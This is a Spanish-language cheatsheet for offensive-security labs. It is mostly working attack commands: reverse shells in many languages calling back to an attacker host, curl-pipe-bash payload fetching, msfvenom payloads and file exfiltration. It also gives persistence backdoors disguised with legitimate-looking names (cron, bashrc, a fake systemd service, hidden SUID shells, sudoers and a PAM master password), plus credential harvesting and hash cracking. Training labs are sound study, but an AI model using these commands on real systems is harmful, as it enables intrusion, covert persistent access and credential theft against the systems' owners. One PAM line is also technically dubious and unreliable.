Linux — Reverse Shells, Listeners y Persistencia
Cheatsheet para labs de offsec. Reemplaza los valores entre
< >con los tuyos.
| Variable | Descripción | Ejemplo |
|---|---|---|
<LHOST> | Tu IP en Kali | 192.168.45.10 |
<LPORT> | Puerto listener | 4444 |
<TARGET> | IP del Linux | 192.168.45.200 |
<USER> | Usuario del target | root |
<PASS> | Contraseña del usuario | Summer2024! |
<FILE> | Nombre del archivo | update |
<PATH> | Ruta destino | /tmp |
1. Listeners en Kali
Netcat básico
nc -lvnp <LPORT>Netcat + rlwrap (flechas, historial, tab completion)
rlwrap nc -lvnp <LPORT>Mejorar shell una vez recibida (TTY completa)
# Paso 1 — en la reverse shell recibida
python3 -c 'import pty; pty.spawn("/bin/bash")'
# o si no hay python3
python -c 'import pty; pty.spawn("/bin/bash")'
# o con script
script /dev/null -c bash
# Paso 2 — Ctrl+Z para poner en background
# Paso 3 — en Kali
stty raw -echo; fg
# Paso 4 — de vuelta en la shell
reset
export TERM=xterm
export SHELL=bash
stty rows 40 columns 170Sin esto la shell es limitada: no hay Ctrl+C, no hay historial, no se puede usar vim ni sudo correctamente.
2. Reverse Shells desde Linux
Bash TCP
bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1Bash TCP — versión alternativa (más compatible)
bash -c 'exec bash -i &>/dev/tcp/<LHOST>/<LPORT> <&1'Bash UDP
bash -i >& /dev/udp/<LHOST>/<LPORT> 0>&1Netcat (nc) con -e
nc <LHOST> <LPORT> -e /bin/bashNetcat sin -e (versiones que no lo soportan — OpenBSD nc)
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc <LHOST> <LPORT> > /tmp/fPython 3
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<LHOST>",<LPORT>));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"])'Python 2
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<LHOST>",<LPORT>));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"])'Perl
perl -e 'use Socket;$i="<LHOST>";$p=<LPORT>;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'PHP
php -r '$sock=fsockopen("<LHOST>",<LPORT>);exec("/bin/sh -i <&3 >&3 2>&3");'Ruby
ruby -rsocket -e'f=TCPSocket.open("<LHOST>",<LPORT>).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'Socat — shell TTY completa desde el inicio
# En Kali — listener con TTY
socat file:`tty`,raw,echo=0 tcp-listen:<LPORT>
# En el target — reverse shell
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<LHOST>:<LPORT>Socat es la opción premium — da una TTY completa sin necesitar el proceso de upgrade manual.
curl | bash (para ejecutar script remoto)
# Desde el target — descarga y ejecuta directamente
curl http://<LHOST>/shell.sh | bash
# O con wget
wget -qO- http://<LHOST>/shell.sh | bash3. Generar payloads con msfvenom
ELF ejecutable (Linux 64 bits)
msfvenom -p linux/x64/shell_reverse_tcp \
LHOST=<LHOST> LPORT=<LPORT> \
-f elf -o <FILE>ELF ejecutable (Linux 32 bits)
msfvenom -p linux/x86/shell_reverse_tcp \
LHOST=<LHOST> LPORT=<LPORT> \
-f elf -o <FILE>Script bash
msfvenom -p cmd/unix/reverse_bash \
LHOST=<LHOST> LPORT=<LPORT> \
-f raw -o shell.shPayload Python
msfvenom -p cmd/unix/reverse_python \
LHOST=<LHOST> LPORT=<LPORT> \
-f raw -o shell.py4. Transferir archivos al target
Desde Kali — servidor HTTP
python3 -m http.server 80
python3 -m http.server 8080Desde el target Linux — descargar
# wget — lo más común
wget http://<LHOST>/<FILE> -O <PATH>/<FILE>
# curl
curl http://<LHOST>/<FILE> -o <PATH>/<FILE>
# curl con permisos de ejecución en un paso
curl http://<LHOST>/<FILE> -o /tmp/<FILE> && chmod +x /tmp/<FILE>
# bash con /dev/tcp (sin herramientas extra)
cat < /dev/tcp/<LHOST>/80 > /tmp/<FILE>Servidor HTTP con upload habilitado (recibir archivos desde el target)
# En Kali — servidor que acepta PUT
python3 -c "
import http.server, sys
class H(http.server.BaseHTTPRequestHandler):
def do_PUT(self):
length = int(self.headers['Content-Length'])
path = self.path.lstrip('/')
with open(path, 'wb') as f:
f.write(self.rfile.read(length))
self.send_response(200)
self.end_headers()
http.server.HTTPServer(('', 80), H).serve_forever()
"
# Desde el target — subir archivo
curl -X PUT http://<LHOST>/archivo.txt -d @/ruta/archivo.txtSCP (si tienes SSH)
# Desde Kali al target
scp <FILE> <USER>@<TARGET>:/tmp/<FILE>
# Desde el target a Kali
scp <USER>@<TARGET>:/tmp/<FILE> .5. Ejecución en segundo plano — Evitar que Ctrl+C mate el proceso
Cuando ejecutas una reverse shell o binario desde una sesión interactiva, al presionar Ctrl+C o perder la conexión el proceso hijo también muere. La solución es desacoplar el proceso del proceso padre.
Método 1 — & al final (background simple)
./shell &
# Ver el proceso en background
jobs
ps aux | grep shellMétodo 2 — nohup (no muere aunque se cierre la sesión)
# nohup desacopla el proceso de la terminal — SIGHUP no lo mata
nohup ./shell &
# El output va a nohup.out por defecto, o redirigirlo
nohup ./shell > /dev/null 2>&1 &Método 3 — disown (desacoplar proceso ya en background)
# Primero mandar a background
./shell &
# Luego desacoplarlo completamente de la terminal
disown
# O en un paso
./shell & disownMétodo 4 — setsid (nueva sesión, completamente independiente)
# setsid crea una nueva sesión de proceso — no tiene terminal controladora
setsid ./shell &
# O con redirección completa
setsid ./shell > /dev/null 2>&1 &
setsides el equivalente en Linux aStart-Process -NoNewWindowde Windows. El proceso queda completamente desacoplado de la terminal padre.
Método 5 — screen / tmux (sesión persistente)
# screen — crear sesión nombrada y correr en ella
screen -dmS mysession bash -c './shell'
# tmux — crear sesión y correr comando
tmux new-session -d -s mysession './shell'
# Ver sesiones activas
screen -ls
tmux lsMétodo 6 — bash con redirección completa
# Redirigir stdin, stdout y stderr para desacoplar completamente
bash -c './shell > /dev/null 2>&1 &'
# Con delay para dar tiempo a que se conecte
bash -c 'sleep 1 && ./shell > /dev/null 2>&1 &'Cuándo usar cada método
| Situación | Método recomendado |
|---|---|
| Shell interactiva normal | ./shell & disown |
| Quieres que sobreviva al logout | nohup ./shell > /dev/null 2>&1 & |
| Proceso completamente independiente | setsid ./shell > /dev/null 2>&1 & |
| Sesión larga y cómoda | screen o tmux |
| Reverse shell sin perder la actual | bash -c 'cmd > /dev/null 2>&1 &' |
Ejemplo real — ejecutar reverse shell en background sin perder la sesión actual:
# Tenemos acceso como www-data y queremos lanzar una shell
# sin perder la sesión de webshell/cmd actual
setsid bash -c 'bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1' > /dev/null 2>&1 &6. Persistencia en Linux
¿Qué es persistencia? Asegurarte de mantener acceso al sistema aunque se reinicie, se cierre tu shell, o el usuario cambie su contraseña. El objetivo es que tu acceso se mantenga sin necesidad de explotar de nuevo.
Regla general: usa nombres que parezcan legítimos para pasar desapercibido.
6.1 Crear usuario con acceso
Qué hace: agrega una cuenta nueva al sistema con contraseña conocida por ti. Si además la metes en sudo o directamente en /etc/passwd como root (uid=0), tienes acceso garantizado de forma permanente.
Requiere: root.
Cuándo usarlo: cuando quieres credenciales propias que sobrevivan aunque cambien las del usuario comprometido.
# Crear usuario normal
useradd -m -s /bin/bash <USER>
echo "<USER>:<PASS>" | chpasswd
# Darle sudo sin contraseña
echo "<USER> ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers
# O agregarlo al grupo sudo
usermod -aG sudo <USER>
# Verificar
id <USER>
su - <USER>Opción agresiva — usuario con UID 0 (root sin ser root):
# Agregar directamente al /etc/passwd con uid=0
echo "<USER>:x:0:0::/root:/bin/bash" >> /etc/passwd
# Establecer contraseña
echo "<USER>:<PASS>" | chpasswd
# Ahora <USER> tiene los mismos privilegios que root6.2 Clave SSH autorizada
Qué hace: agrega tu clave pública SSH al archivo authorized_keys del usuario objetivo. A partir de ese momento puedes conectarte por SSH sin contraseña, solo con tu clave privada. Sobrevive cambios de contraseña.
Requiere: acceso de escritura al home del usuario (o root para cualquier usuario).
Cuándo usarlo: el método de persistencia más silencioso y estable. No deja procesos corriendo, no aparece en ps aux, y la conexión es cifrada y limpia.
# Paso 1 — En Kali, generar un par de claves (si no tienes)
ssh-keygen -t ed25519 -f ~/.ssh/id_lab -N ""
cat ~/.ssh/id_lab.pub # Copiar esta clave pública
# Paso 2 — En el target, agregar la clave pública
mkdir -p ~/.ssh
echo "ssh-ed25519 AAAA... tu_clave_publica" >> ~/.ssh/authorized_keys
chmod 700 ~/.ssh
chmod 600 ~/.ssh/authorized_keys
# Paso 3 — Conectar desde Kali
ssh -i ~/.ssh/id_lab <USER>@<TARGET>
# Para root (si el target lo permite)
mkdir -p /root/.ssh
echo "ssh-ed25519 AAAA... tu_clave_publica" >> /root/.ssh/authorized_keys
chmod 700 /root/.ssh
chmod 600 /root/.ssh/authorized_keys
ssh -i ~/.ssh/id_lab root@<TARGET>Verificar que SSH permite autenticación por clave:
grep -E "PubkeyAuthentication|AuthorizedKeysFile" /etc/ssh/sshd_config
# Debe ser: PubkeyAuthentication yes6.3 Crontab — tarea programada
Qué hace: registra una tarea en el planificador cron que ejecuta tu payload automáticamente según una expresión de tiempo. Puede ejecutarse cada minuto, cada hora, al reinicio, etc.
Hay dos niveles:
- Crontab del usuario → se ejecuta con los privilegios de ese usuario.
- Crontab de root (
/etc/crontabo/etc/cron.d/) → se ejecuta como root.
Cuándo usarlo: persistencia automática y repetitiva. Si alguien mata tu proceso, el cron lo vuelve a lanzar al próximo ciclo.
# Ver crontab actual del usuario
crontab -l
# Editar crontab del usuario actual
crontab -e
# Formato: minuto hora día_mes mes día_semana comando
# Ejemplos de expresiones:
# * * * * * → cada minuto
# */5 * * * * → cada 5 minutos
# 0 * * * * → cada hora (en el minuto 0)
# @reboot → al reiniciar el sistemaReverse shell cada minuto:
# Agregar al crontab sin abrir editor
(crontab -l 2>/dev/null; echo "* * * * * bash -c 'bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1'") | crontab -Al reinicio del sistema:
(crontab -l 2>/dev/null; echo "@reboot bash -c 'bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1'") | crontab -Como root — escribir directamente en /etc/cron.d/:
echo "* * * * * root bash -c 'bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1'" > /etc/cron.d/sysupdateVerificar que se guardó:
crontab -l
cat /etc/cron.d/sysupdateEliminar (limpiar tras el lab):
crontab -r
rm /etc/cron.d/sysupdate6.4 Bash profile / bashrc — ejecución al iniciar sesión
Qué hace: agrega código a los archivos de configuración de bash que se ejecutan automáticamente cuando el usuario abre una terminal o inicia sesión. Es una forma de persistencia discreta que activa el payload cada vez que el usuario interactúa con el sistema.
Archivos disponibles:
| Archivo | Cuándo se ejecuta | Requiere |
|---|---|---|
~/.bashrc | Cada vez que abre una terminal interactiva | Acceso al home |
~/.bash_profile | Al hacer login (SSH, TTY) | Acceso al home |
~/.profile | Al hacer login (si no existe .bash_profile) | Acceso al home |
/etc/bash.bashrc | Para todos los usuarios, terminal interactiva | Root |
/etc/profile | Para todos los usuarios, al login | Root |
# Agregar reverse shell al .bashrc del usuario actual
echo "bash -c 'bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1' &" >> ~/.bashrc
# Al .bash_profile (se ejecuta al login SSH)
echo "bash -c 'bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1' &" >> ~/.bash_profile
# Para todos los usuarios (root)
echo "bash -c 'bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1' &" >> /etc/profileEl
&al final es fundamental — sin él el usuario vería la terminal bloqueada al iniciar sesión.
6.5 Servicio systemd
Qué hace: registra un servicio del sistema que arranca automáticamente con el sistema operativo y se reinicia si el proceso muere. Es la persistencia más robusta en sistemas Linux modernos con systemd — sobrevive reinicios y es difícil de detectar si el nombre es convincente.
Requiere: root.
Cuándo usarlo: cuando quieres persistencia que sobreviva reinicios sin depender de que ningún usuario inicie sesión.
# Paso 1 — Crear el archivo del servicio
cat > /etc/systemd/system/systemd-network-helper.service << 'EOF'
[Unit]
Description=Network Helper Service
After=network.target
[Service]
Type=simple
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1'
Restart=always
RestartSec=30
[Install]
WantedBy=multi-user.target
EOF
# Paso 2 — Recargar systemd para que detecte el nuevo servicio
systemctl daemon-reload
# Paso 3 — Habilitar para que arranque en cada reinicio
systemctl enable systemd-network-helper
# Paso 4 — Iniciarlo ahora mismo sin esperar reinicio
systemctl start systemd-network-helper
# Verificar estado
systemctl status systemd-network-helperEliminar:
systemctl stop systemd-network-helper
systemctl disable systemd-network-helper
rm /etc/systemd/system/systemd-network-helper.service
systemctl daemon-reload6.6 /etc/rc.local — ejecución al arranque
Qué hace: rc.local es un script que se ejecuta al final del proceso de arranque del sistema, antes de que los usuarios inicien sesión. Es una forma legacy pero que aún funciona en muchas distribuciones.
Requiere: root.
Cuándo usarlo: alternativa a systemd en sistemas más antiguos, o cuando quieres algo simple y rápido.
# Verificar si existe y está habilitado
cat /etc/rc.local
systemctl status rc-local
# Agregar el payload antes del 'exit 0'
sed -i 's/exit 0/bash -c "bash -i >& \/dev\/tcp\/<LHOST>\/<LPORT> 0>\&1" \&\nexit 0/' /etc/rc.local
# Dar permisos de ejecución si no los tiene
chmod +x /etc/rc.local
# Verificar
cat /etc/rc.local6.7 SUID en binario propio
Qué hace: crea un binario con el bit SUID activado que ejecuta comandos como root. Cualquier usuario que lo ejecute obtiene privilegios de root temporalmente mientras el binario corre.
Requiere: root para crear el SUID.
Cuándo usarlo: backdoor de escalada permanente. Incluso si alguien cambia las contraseñas, cualquier usuario puede ejecutar el binario y escalar a root.
# Opción A — copiar bash con SUID (la más simple)
cp /bin/bash /tmp/.bash_hidden
chmod +s /tmp/.bash_hidden
# Cualquier usuario puede ejecutar:
/tmp/.bash_hidden -p
# -p preserva los privilegios del SUID
# Opción B — binario C personalizado
cat > /tmp/backdoor.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
setuid(0);
setgid(0);
system("/bin/bash");
return 0;
}
EOF
gcc /tmp/backdoor.c -o /tmp/.syshelper
chmod +s /tmp/.syshelper
# Cualquier usuario ejecuta y obtiene bash como root:
/tmp/.syshelperVerificar:
ls -la /tmp/.bash_hidden
# Debe mostrar: -rwsr-xr-x (la 's' indica SUID activo)6.8 Modificar /etc/sudoers
Qué hace: agrega una regla en sudoers que permite a un usuario ejecutar comandos específicos (o todos) como root sin contraseña. Más quirúrgico que crear un usuario nuevo.
Requiere: root.
Cuándo usarlo: cuando ya tienes una cuenta de usuario en el sistema y quieres darle capacidad de escalar a root permanentemente.
# Dar sudo sin contraseña a un usuario existente
echo "<USER> ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers
# O solo para un comando específico (más sigiloso)
echo "<USER> ALL=(ALL) NOPASSWD:/bin/bash" >> /etc/sudoers
# Verificar sintaxis antes de cerrar sesión (IMPORTANTE)
visudo -c
# Probar desde la cuenta del usuario
sudo bash
sudo -lSiempre verificar con
visudo -cantes de cerrar sesión — un error de sintaxis en sudoers puede dejar el sistema sin acceso sudo.
6.9 PAM backdoor — autenticación universal
Qué hace: modifica el módulo de autenticación PAM para aceptar una contraseña maestra para cualquier usuario del sistema. Con la contraseña correcta puedes autenticarte como cualquier usuario (incluso root) sin saber su contraseña real.
Requiere: root. Muy invasivo.
Cuándo usarlo: cuando quieres acceso a cualquier cuenta del sistema con una sola contraseña. Útil en labs donde no conoces las contraseñas de todos los usuarios.
# El módulo pam_unix.so valida contraseñas — modificarlo requiere recompilar
# Alternativa más práctica: usar pam_exec.so
# Agregar regla PAM que acepta contraseña maestra
echo 'auth sufficient pam_unix.so' >> /etc/pam.d/common-auth
# Opción más sigilosa con script
cat > /lib/security/pam_backdoor.sh << 'EOF'
#!/bin/bash
if [ "$PAM_AUTHTOK" = "MasterPass123!" ]; then
exit 0
fi
exit 1
EOF
chmod +x /lib/security/pam_backdoor.sh
echo 'auth sufficient pam_exec.so /lib/security/pam_backdoor.sh' >> /etc/pam.d/common-authTabla resumen de persistencia
| Método | Requiere root | Se ejecuta cuando | Sobrevive reinicio | Ruido |
|---|---|---|---|---|
| Usuario nuevo | ✅ Sí | Login manual / SSH | ✅ Sí | Medio |
| SSH authorized_keys | ❌ No (solo acceso al home) | Conexión SSH | ✅ Sí | Bajo |
| Crontab usuario | ❌ No | Según expresión cron | ✅ Sí | Bajo |
| Crontab root | ✅ Sí | Según expresión cron | ✅ Sí | Bajo |
| ~/.bashrc / ~/.profile | ❌ No | Al abrir terminal/login | ✅ Sí | Medio |
| /etc/profile | ✅ Sí | Login de cualquier usuario | ✅ Sí | Medio |
| Servicio systemd | ✅ Sí | Al arrancar el sistema | ✅ Sí | Bajo |
| /etc/rc.local | ✅ Sí | Al arrancar el sistema | ✅ Sí | Bajo |
| SUID bash/binario | ✅ Sí | Cuando cualquier usuario lo ejecuta | ✅ Sí | Bajo |
| /etc/sudoers | ✅ Sí | Cuando el usuario hace sudo | ✅ Sí | Bajo |
| PAM backdoor | ✅ Sí | Cualquier autenticación | ✅ Sí | Alto |
7. Post-explotación rápida
Verificación al obtener shell
id
whoami
hostname
uname -a
cat /etc/os-release
ip addr
cat /etc/passwd | grep -v nologin | grep -v falseBuscar contraseñas y credenciales
# Archivos de configuración con contraseñas
grep -r "password" /etc/ 2>/dev/null | grep -v "^Binary"
grep -r "password" /var/www/ 2>/dev/null
grep -r "DB_PASS\|db_password\|secret" /var/www/ 2>/dev/null
# Historia de comandos de todos los usuarios
cat /root/.bash_history
cat /home/*/.bash_history
# Archivos .env
find / -name ".env" 2>/dev/null | xargs cat 2>/dev/null
# Archivos de configuración comunes
cat /var/www/html/config.php 2>/dev/null
cat /var/www/html/wp-config.php 2>/dev/null
find / -name "*.conf" -readable 2>/dev/null | xargs grep -l "password" 2>/dev/nullDump de hashes locales
# Requiere root
cat /etc/shadow
cat /etc/passwd
# Formato unshadow para crackear con john
unshadow /etc/passwd /etc/shadow > hashes.txtCrackear hashes de /etc/shadow
# John the Ripper
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
# Hashcat — identificar el tipo primero
# $6$ = SHA-512 (modo 1800)
# $5$ = SHA-256 (modo 7400)
# $1$ = MD5 (modo 500)
hashcat -m 1800 hashes.txt /usr/share/wordlists/rockyou.txt8. Enumeración de versiones relevantes
Kernel (para kernel exploits)
uname -r
uname -a
cat /proc/version
# Buscar exploits para la versión
searchsploit linux kernel <VERSION>Versión de Python disponible
python3 --version
python --version
which python python2 python3
ls /usr/bin/python*Versión de herramientas instaladas
# Para elegir payload correcto
curl --version
wget --version
nc -h 2>&1 | head -3
socat -V 2>&1 | head -3